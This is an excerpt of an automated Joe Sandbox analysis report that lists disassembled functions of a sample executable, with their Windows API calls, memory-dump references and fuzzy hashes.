                                                          • Associated: 00000000.00000002.59699431677.000000000057F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.00000000005A4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699507097.00000000005AE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699540328.00000000005B7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_4f0000_lKvXJ7VVCK.jbxd
                                                          Similarity
                                                          • API ID: ErrorLastioctlsocket$closesocketconnectinet_addrsocket
                                                          • String ID:
                                                          • API String ID: 910771015-0
                                                          • Opcode ID: c641501edf10255801e4151590280ef27663dc9eafff3ca4534e76ce67dbf000
                                                          • Instruction ID: f3e59bf5af999c93b7373f431a7b14045a0de26301c8b9c670f87f65847d6548
                                                          • Opcode Fuzzy Hash: c641501edf10255801e4151590280ef27663dc9eafff3ca4534e76ce67dbf000
                                                          • Instruction Fuzzy Hash: 6A31A135600118ABDF10AF24DC89FBE7BADFB45754F044429F909A7291CB74AD48DBA2
                                                          Function 0054DBC4 Relevance: 10.6, APIs: 7, Instructions: 90memoryCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          • MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000), ref: 0054DC09
                                                          • MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000), ref: 0054DC2F
                                                          • SysAllocString.OLEAUT32(00000000), ref: 0054DC32
                                                          • SysAllocString.OLEAUT32 ref: 0054DC53
                                                          • SysFreeString.OLEAUT32 ref: 0054DC5C
                                                          • StringFromGUID2.OLE32(?,?,00000028), ref: 0054DC76
                                                          • SysAllocString.OLEAUT32(?), ref: 0054DC84
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.59699302709.00000000004F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 004F0000, based on PE: true
                                                          • Associated: 00000000.00000002.59699281308.00000000004F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.000000000057F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.00000000005A4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699507097.00000000005AE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699540328.00000000005B7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_4f0000_lKvXJ7VVCK.jbxd
                                                          Similarity
                                                          • API ID: String$Alloc$ByteCharMultiWide$FreeFrom
                                                          • String ID:
                                                          • API String ID: 3761583154-0
                                                          • Opcode ID: 040ae664024e93162fe7e9cd6c8c7d65c5d7caab1b841d88e094a143651b5dd1
                                                          • Instruction ID: bfd5559a420a668cac1a5054d8458e4e80a71d87278a653eeb6bd568faab821d
                                                          • Opcode Fuzzy Hash: 040ae664024e93162fe7e9cd6c8c7d65c5d7caab1b841d88e094a143651b5dd1
                                                          • Instruction Fuzzy Hash: 1A213235604205AF9B10DBA8DC88DEB7BACFB19364B108125F914CB2A1D6B0DC85DB74
                                                          Function 00513229 Relevance: 10.6, APIs: 7, Instructions: 89COMMON
                                                          Download Yara Rule
                                                          APIs
                                                            • Part of subcall function 00519C0B: EnterCriticalSection.KERNEL32(00000000,?,00519A7C,0000000D), ref: 00519C36
                                                          • DecodePointer.KERNEL32(005A9EF0,0000001C,00513182,00000000,00000001,00000000,?,005130D0,000000FF,?,00519C2E,00000011,00000000,?,00519A7C,0000000D), ref: 00513276
                                                          • DecodePointer.KERNEL32(?,005130D0,000000FF,?,00519C2E,00000011,00000000,?,00519A7C,0000000D), ref: 00513287
                                                          • EncodePointer.KERNEL32(00000000,?,005130D0,000000FF,?,00519C2E,00000011,00000000,?,00519A7C,0000000D), ref: 005132A0
                                                          • DecodePointer.KERNEL32(-00000004,?,005130D0,000000FF,?,00519C2E,00000011,00000000,?,00519A7C,0000000D), ref: 005132B0
                                                          • EncodePointer.KERNEL32(00000000,?,005130D0,000000FF,?,00519C2E,00000011,00000000,?,00519A7C,0000000D), ref: 005132B6
                                                          • DecodePointer.KERNEL32(?,005130D0,000000FF,?,00519C2E,00000011,00000000,?,00519A7C,0000000D), ref: 005132CC
                                                          • DecodePointer.KERNEL32(?,005130D0,000000FF,?,00519C2E,00000011,00000000,?,00519A7C,0000000D), ref: 005132D7
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.59699302709.00000000004F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 004F0000, based on PE: true
                                                          • Associated: 00000000.00000002.59699281308.00000000004F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.000000000057F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.00000000005A4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699507097.00000000005AE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699540328.00000000005B7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_4f0000_lKvXJ7VVCK.jbxd
                                                          Similarity
                                                          • API ID: Pointer$Decode$Encode$CriticalEnterSection
                                                          • String ID:
                                                          • API String ID: 3368343417-0
                                                          • Opcode ID: 4e633f38c85cfee43f35ae3bdfde7d74642ec2a9f83c3433e8b1dcd40b27b65c
                                                          • Instruction ID: 06adad142cf27d2fb50f5e695fe9f860d7e6ed00651d181f05b3aee7ec2cb251
                                                          • Opcode Fuzzy Hash: 4e633f38c85cfee43f35ae3bdfde7d74642ec2a9f83c3433e8b1dcd40b27b65c
                                                          • Instruction Fuzzy Hash: CA3180349003069EEF14AF68EC597DC7FB5BF58311F24412AE028B6291DBB51AC8EF15
                                                          Function 005775CD Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 75windowCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                            • Part of subcall function 004F1D35: CreateWindowExW.USER32(?,?,?,?,?,?,?,?,?,?,00000000,00000096), ref: 004F1D73
                                                            • Part of subcall function 004F1D35: GetStockObject.GDI32(00000011), ref: 004F1D87
                                                            • Part of subcall function 004F1D35: SendMessageW.USER32(00000000,00000030,00000000), ref: 004F1D91
                                                          • SendMessageW.USER32(00000000,00002001,00000000,FF000000), ref: 00577632
                                                          • SendMessageW.USER32(?,00000409,00000000,FF000000), ref: 0057763F
                                                          • SendMessageW.USER32(?,00000402,00000000,00000000), ref: 0057764A
                                                          • SendMessageW.USER32(?,00000401,00000000,00640000), ref: 00577659
                                                          • SendMessageW.USER32(?,00000404,00000001,00000000), ref: 00577665
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.59699302709.00000000004F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 004F0000, based on PE: true
                                                          • Associated: 00000000.00000002.59699281308.00000000004F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.000000000057F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.00000000005A4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699507097.00000000005AE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699540328.00000000005B7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_4f0000_lKvXJ7VVCK.jbxd
                                                          Similarity
                                                          • API ID: MessageSend$CreateObjectStockWindow
                                                          • String ID: Msctls_Progress32
                                                          • API String ID: 1025951953-3636473452
                                                          • Opcode ID: 1094b0c7e5140d23d45004dd0bd2b33aec59f7f381fe639ad6ff1406dfd337c6
                                                          • Instruction ID: 78b341319517e4304a6c49daecee0a94bf7dca7692413791b34da1d0f3809de2
                                                          • Opcode Fuzzy Hash: 1094b0c7e5140d23d45004dd0bd2b33aec59f7f381fe639ad6ff1406dfd337c6
                                                          • Instruction Fuzzy Hash: 601193B111011DBFEF158F64DC85EE77F6DFF08798F014115B608A2060CA72AC21EBA4
                                                          Function 005546B7 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 73networkCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.59699302709.00000000004F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 004F0000, based on PE: true
                                                          • Associated: 00000000.00000002.59699281308.00000000004F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.000000000057F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.00000000005A4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699507097.00000000005AE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699540328.00000000005B7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_4f0000_lKvXJ7VVCK.jbxd
                                                          Similarity
                                                          • API ID: CleanupStartupgethostbynamegethostnameinet_ntoa
                                                          • String ID: 0.0.0.0
                                                          • API String ID: 348263315-3771769585
                                                          • Opcode ID: 4e25a0150f24635ea73b91090026a87adaca5ba9c1ad0575b8533dd16e6a24e9
                                                          • Instruction ID: fa5b2def0eb38dfbd9fc0d5776a5f3bc859ee175c5aaa23b47a08755d785c5eb
                                                          • Opcode Fuzzy Hash: 4e25a0150f24635ea73b91090026a87adaca5ba9c1ad0575b8533dd16e6a24e9
                                                          • Instruction Fuzzy Hash: 0411F331510105ABDB14AB70AC4AEEA7FBCFB56316F0401BAF849D2091EB7099CA9B51
                                                          Function 005542F8 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 47windowCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          • GetModuleHandleW.KERNEL32(00000000,?,?,00000100,00000000), ref: 00554312
                                                          • LoadStringW.USER32(00000000), ref: 00554319
                                                          • GetModuleHandleW.KERNEL32(00000000,00001389,?,00000100), ref: 0055432F
                                                          • LoadStringW.USER32(00000000), ref: 00554336
                                                          • MessageBoxW.USER32(00000000,?,?,00011010), ref: 0055437A
                                                          Strings
                                                          • %s (%d) : ==> %s: %s %s, xrefs: 00554357
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.59699302709.00000000004F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 004F0000, based on PE: true
                                                          • Associated: 00000000.00000002.59699281308.00000000004F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.000000000057F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.00000000005A4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699507097.00000000005AE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699540328.00000000005B7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_4f0000_lKvXJ7VVCK.jbxd
                                                          Similarity
                                                          • API ID: HandleLoadModuleString$Message
                                                          • String ID: %s (%d) : ==> %s: %s %s
                                                          • API String ID: 4072794657-3128320259
                                                          • Opcode ID: 2e62d5771cf618075118826af4ee90792b231e700df901103a258bb6a95d6a6e
                                                          • Instruction ID: 7a18c2091f9fe6fe6fc5e03c65693c8e58ebb41de6ecc39a1c564cc19cc34ef1
                                                          • Opcode Fuzzy Hash: 2e62d5771cf618075118826af4ee90792b231e700df901103a258bb6a95d6a6e
                                                          • Instruction Fuzzy Hash: BD0144F6900208BFE751D790ED89EF6776CEB08701F4005A5BB49E2051EA745EC95B70
                                                          Function 0051406B Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 19libraryloaderCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          • LoadLibraryExW.KERNEL32(combase.dll,00000000,00000800,RoUninitialize,00513F85), ref: 00514085
                                                          • GetProcAddress.KERNEL32(00000000), ref: 0051408C
                                                          • EncodePointer.KERNEL32(00000000), ref: 00514097
                                                          • DecodePointer.KERNEL32(00513F85), ref: 005140B2
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.59699302709.00000000004F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 004F0000, based on PE: true
                                                          • Associated: 00000000.00000002.59699281308.00000000004F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.000000000057F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.00000000005A4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699507097.00000000005AE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699540328.00000000005B7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_4f0000_lKvXJ7VVCK.jbxd
                                                          Similarity
                                                          • API ID: Pointer$AddressDecodeEncodeLibraryLoadProc
                                                          • String ID: RoUninitialize$combase.dll
                                                          • API String ID: 3489934621-2819208100
                                                          • Opcode ID: 7b6f71f4b9ca061dfbc8c7a27a60b75788074337a75eb1a4f90ab3a42e4e419f
                                                          • Instruction ID: 2bf0cc07877dcf8997d99849b14685489ed553bb3a029778d0ef3d2645c2272d
                                                          • Opcode Fuzzy Hash: 7b6f71f4b9ca061dfbc8c7a27a60b75788074337a75eb1a4f90ab3a42e4e419f
                                                          • Instruction Fuzzy Hash: 21E09274586310AFEB50AF65EC0DB453EA8BB24742F104524F505F50A0CBB6568CFB14
                                                          Function 005701E4 Relevance: 9.2, APIs: 6, Instructions: 167registryCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                            • Part of subcall function 00570E1A: CharUpperBuffW.USER32(?,?,?,?,?,?,?,0056FDAD,?,?), ref: 00570E31
                                                          • RegConnectRegistryW.ADVAPI32(?,?,?), ref: 005702BD
                                                          • RegOpenKeyExW.ADVAPI32(?,?,00000000,?,?), ref: 005702FD
                                                          • RegCloseKey.ADVAPI32(?,00000001,00000000), ref: 00570320
                                                          • RegEnumValueW.ADVAPI32(?,-00000001,?,?,00000000,?,00000000,00000000), ref: 00570349
                                                          • RegCloseKey.ADVAPI32(?,?,00000000), ref: 0057038C
                                                          • RegCloseKey.ADVAPI32(00000000), ref: 00570399
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.59699302709.00000000004F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 004F0000, based on PE: true
                                                          • Associated: 00000000.00000002.59699281308.00000000004F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.000000000057F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.00000000005A4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699507097.00000000005AE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699540328.00000000005B7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_4f0000_lKvXJ7VVCK.jbxd
                                                          Similarity
                                                          • API ID: Close$BuffCharConnectEnumOpenRegistryUpperValue
                                                          • String ID:
                                                          • API String ID: 3451389628-0
                                                          • Opcode ID: 8a9b824a5407b3130f1798396718d1dcae89fb20c1049ea2347400883f453b54
                                                          • Instruction ID: 4cc0e04f236e6c5b81d60e0b9dc672c7ea6464edccd1cd2b2fafb726d5fb2d2d
                                                          • Opcode Fuzzy Hash: 8a9b824a5407b3130f1798396718d1dcae89fb20c1049ea2347400883f453b54
                                                          • Instruction Fuzzy Hash: BB516931108205EFD714EF64D889EAEBBE8FF89314F04891DF5498B2A2DB31E945DB52
                                                          Function 00575799 Relevance: 9.2, APIs: 6, Instructions: 160windowCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          • GetMenu.USER32(?), ref: 005757FB
                                                          • GetMenuItemCount.USER32(00000000), ref: 00575832
                                                          • GetMenuStringW.USER32(00000000,00000000,?,00007FFF,00000400), ref: 0057585A
                                                          • GetMenuItemID.USER32(?,?), ref: 005758C9
                                                          • GetSubMenu.USER32(?,?), ref: 005758D7
                                                          • PostMessageW.USER32(?,00000111,?,00000000), ref: 00575928
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.59699302709.00000000004F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 004F0000, based on PE: true
                                                          • Associated: 00000000.00000002.59699281308.00000000004F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.000000000057F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.00000000005A4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699507097.00000000005AE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699540328.00000000005B7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_4f0000_lKvXJ7VVCK.jbxd
                                                          Similarity
                                                          • API ID: Menu$Item$CountMessagePostString
                                                          • String ID:
                                                          • API String ID: 650687236-0
                                                          • Opcode ID: cc8ee864df16fdad79332014a5b1fb7f0064d016efc5d0f9f0bd7ec21c4a9ffb
                                                          • Instruction ID: e69c0321526e051322b78007f07cd6ddfa078b8e165a4e03acddfa10bf3f1b84
                                                          • Opcode Fuzzy Hash: cc8ee864df16fdad79332014a5b1fb7f0064d016efc5d0f9f0bd7ec21c4a9ffb
                                                          • Instruction Fuzzy Hash: 90515D71A00619EFCF11EF64D845AAEBBB4FF48310F108469E909AB351DB74AE41EB91
                                                          Function 005297A2 Relevance: 9.2, APIs: 6, Instructions: 160memoryfileCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                            • Part of subcall function 005218C1: SetFilePointerEx.KERNEL32(00000000,00000002,?,00000000,?,00000000,00000000,00000000,00000000,?,0051DA51,?,00000000,00000000,00000002,00000000), ref: 005218F8
                                                            • Part of subcall function 005218C1: GetLastError.KERNEL32(?,0051DA51,?,00000000,00000000,00000002,00000000,00000000,00000000), ref: 00521902
                                                          • GetProcessHeap.KERNEL32(00000008,00001000,?,?,?,?,?,0057FB24,00000001,00000000,?,?,00528249,0057FB24,0000000C,00000080), ref: 0052980B
                                                          • HeapAlloc.KERNEL32(00000000,?,?,?,?,?,0057FB24,00000001,00000000,?,?,00528249,0057FB24,0000000C,00000080), ref: 00529812
                                                          • GetProcessHeap.KERNEL32(00000000,0057FB24,?,?,?,?,?,?,?,?,0057FB24,00000001,00000000,?,?,00528249), ref: 005298B4
                                                          • HeapFree.KERNEL32(00000000,?,?,?,?,?,?,?,?,0057FB24,00000001,00000000,?,?,00528249,0057FB24), ref: 005298BB
                                                          • SetEndOfFile.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,0057FB24,00000001,00000000,?,?,00528249), ref: 005298F1
                                                          • GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,0057FB24,00000001,00000000,?,?,00528249,0057FB24), ref: 00529921
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.59699302709.00000000004F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 004F0000, based on PE: true
                                                          • Associated: 00000000.00000002.59699281308.00000000004F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.000000000057F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.00000000005A4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699507097.00000000005AE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699540328.00000000005B7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_4f0000_lKvXJ7VVCK.jbxd
                                                          Similarity
                                                          • API ID: Heap$ErrorFileLastProcess$AllocFreePointer
                                                          • String ID:
                                                          • API String ID: 1354853467-0
                                                          • Opcode ID: 8e2699bff032e68b8cafb344d2d055fad076746ce40e4f1998b81bc37bcb630f
                                                          • Instruction ID: 6e2ca4913d683e815acb07e4cbbf8fc8f2fa2ffbea5f181b1b0ffbc6720356f5
                                                          • Opcode Fuzzy Hash: 8e2699bff032e68b8cafb344d2d055fad076746ce40e4f1998b81bc37bcb630f
                                                          • Instruction Fuzzy Hash: 6C411732D00525ABEB245BB8EC4A6BD7FA4FF47730F180625F828D63D1D734498097A1
                                                          Function 004F1765 Relevance: 9.1, APIs: 6, Instructions: 113COMMON
                                                          Download Yara Rule
                                                          APIs
                                                            • Part of subcall function 004F2612: GetWindowLongW.USER32(?,000000EB), ref: 004F2623
                                                          • BeginPaint.USER32(?,?,?,?,?,?), ref: 004F179A
                                                          • GetWindowRect.USER32(?,?), ref: 004F17FE
                                                          • ScreenToClient.USER32(?,?), ref: 004F181B
                                                          • SetViewportOrgEx.GDI32(00000000,?,?,00000000), ref: 004F182C
                                                          • EndPaint.USER32(?,?), ref: 004F1876
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.59699302709.00000000004F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 004F0000, based on PE: true
                                                          • Associated: 00000000.00000002.59699281308.00000000004F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.000000000057F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.00000000005A4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699507097.00000000005AE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699540328.00000000005B7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_4f0000_lKvXJ7VVCK.jbxd
                                                          Similarity
                                                          • API ID: PaintWindow$BeginClientLongRectScreenViewport
                                                          • String ID:
                                                          • API String ID: 1827037458-0
                                                          • Opcode ID: 4e1135b77bba20a1254e66d58e02237b68f01f518d0008c4193961999eb4b818
                                                          • Instruction ID: 0edc806347bbf6b28d5de2dfabd3ca5459a324b6f91181705de5325125d9ca03
                                                          • Opcode Fuzzy Hash: 4e1135b77bba20a1254e66d58e02237b68f01f518d0008c4193961999eb4b818
                                                          • Instruction Fuzzy Hash: 25419030104204DFD711EF25DC84FBA7BE8FB56764F144629F698862B1D734A849EB62
                                                          Function 0057B69E Relevance: 9.1, APIs: 6, Instructions: 109windowCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          • ShowWindow.USER32(005B57B0,00000000,00E199E8,?,?,005B57B0,?,0057B5A8,?,?), ref: 0057B712
                                                          • EnableWindow.USER32(00000000,00000000), ref: 0057B736
                                                          • ShowWindow.USER32(005B57B0,00000000,00E199E8,?,?,005B57B0,?,0057B5A8,?,?), ref: 0057B796
                                                          • ShowWindow.USER32(00000000,00000004,?,0057B5A8,?,?), ref: 0057B7A8
                                                          • EnableWindow.USER32(00000000,00000001), ref: 0057B7CC
                                                          • SendMessageW.USER32(?,0000130C,?,00000000), ref: 0057B7EF
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.59699302709.00000000004F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 004F0000, based on PE: true
                                                          • Associated: 00000000.00000002.59699281308.00000000004F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.000000000057F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.00000000005A4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699507097.00000000005AE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699540328.00000000005B7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_4f0000_lKvXJ7VVCK.jbxd
                                                          Similarity
                                                          • API ID: Window$Show$Enable$MessageSend
                                                          • String ID:
                                                          • API String ID: 642888154-0
                                                          • Opcode ID: ebd2d5569011e15fe7d48f07bbbb01eec2a6cbb38868ab140c99a2b1a4a1effe
                                                          • Instruction ID: 0a1b798a496ed789c5475a73894632c0e136aca1dc69505532e4faebbe5cb738
                                                          • Opcode Fuzzy Hash: ebd2d5569011e15fe7d48f07bbbb01eec2a6cbb38868ab140c99a2b1a4a1effe
                                                          • Instruction Fuzzy Hash: 88418434600250AFEB29CF24E499B947FE1FF85310F1881B9F94D8F6A2C731A856EB51
                                                          Function 005570C6 Relevance: 9.1, APIs: 6, Instructions: 101fileCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          • InterlockedExchange.KERNEL32(?,000001F5), ref: 005570DD
                                                          • ReadFile.KERNEL32(0000FFFF,00000000,0000FFFF,?,00000000), ref: 00557114
                                                          • EnterCriticalSection.KERNEL32(?), ref: 00557130
                                                          • LeaveCriticalSection.KERNEL32(?), ref: 005571AA
                                                          • ReadFile.KERNEL32(0000FFFF,00000000,0000FFFF,00000000,00000000), ref: 005571BF
                                                          • InterlockedExchange.KERNEL32(?,000001F6), ref: 005571DE
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.59699302709.00000000004F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 004F0000, based on PE: true
                                                          • Associated: 00000000.00000002.59699281308.00000000004F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.000000000057F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.00000000005A4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699507097.00000000005AE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699540328.00000000005B7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_4f0000_lKvXJ7VVCK.jbxd
                                                          Similarity
                                                          • API ID: CriticalExchangeFileInterlockedReadSection$EnterLeave
                                                          • String ID:
                                                          • API String ID: 3368777196-0
                                                          • Opcode ID: 3a58270cc508dc9aadde0700128804bc134d9beabb374b78c9156f622105ad0f
                                                          • Instruction ID: 3f9b47848dd8c0e8d3a1176bfb7d54f721dab8f2d0c037cc2165524a6d919d6a
                                                          • Opcode Fuzzy Hash: 3a58270cc508dc9aadde0700128804bc134d9beabb374b78c9156f622105ad0f
                                                          • Instruction Fuzzy Hash: 47317035900205EBDF00EFA5EC899AEBB78FF89311F1441A5FD049B286DB709E94DB60
                                                          Function 0056709E Relevance: 9.1, APIs: 6, Instructions: 97COMMON
                                                          Download Yara Rule
                                                          APIs
                                                          • GetForegroundWindow.USER32(?,?,?,?,?,?,00564E41,?,?,00000000,00000001), ref: 005670AC
                                                            • Part of subcall function 005639A0: GetWindowRect.USER32(?,?), ref: 005639B3
                                                          • GetDesktopWindow.USER32 ref: 005670D6
                                                          • GetWindowRect.USER32(00000000), ref: 005670DD
                                                          • mouse_event.USER32(00008001,?,?,00000001,00000001), ref: 0056710F
                                                            • Part of subcall function 00555244: Sleep.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,?,?), ref: 005552BC
                                                          • GetCursorPos.USER32(?), ref: 0056713B
                                                          • mouse_event.USER32(00008001,?,?,00000000,00000000), ref: 00567199
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.59699302709.00000000004F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 004F0000, based on PE: true
                                                          • Associated: 00000000.00000002.59699281308.00000000004F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.000000000057F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.00000000005A4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699507097.00000000005AE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699540328.00000000005B7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_4f0000_lKvXJ7VVCK.jbxd
                                                          Similarity
                                                          • API ID: Window$Rectmouse_event$CursorDesktopForegroundSleep
                                                          • String ID:
                                                          • API String ID: 4137160315-0
                                                          • Opcode ID: d82a8b6dae1e95577ede1f1bb4e685da2ecb0f4b70c4454078c6ac0722a95f8a
                                                          • Instruction ID: d6825faddbf0ffc81c85fbba2ad7709bd6c61a90fc948fcf64ff85cbfcf2e0fc
                                                          • Opcode Fuzzy Hash: d82a8b6dae1e95577ede1f1bb4e685da2ecb0f4b70c4454078c6ac0722a95f8a
                                                          • Instruction Fuzzy Hash: 2431D27250930AABD720DF14D849B9BBBA9FF89314F00091AF59997191DA30EA49CB92
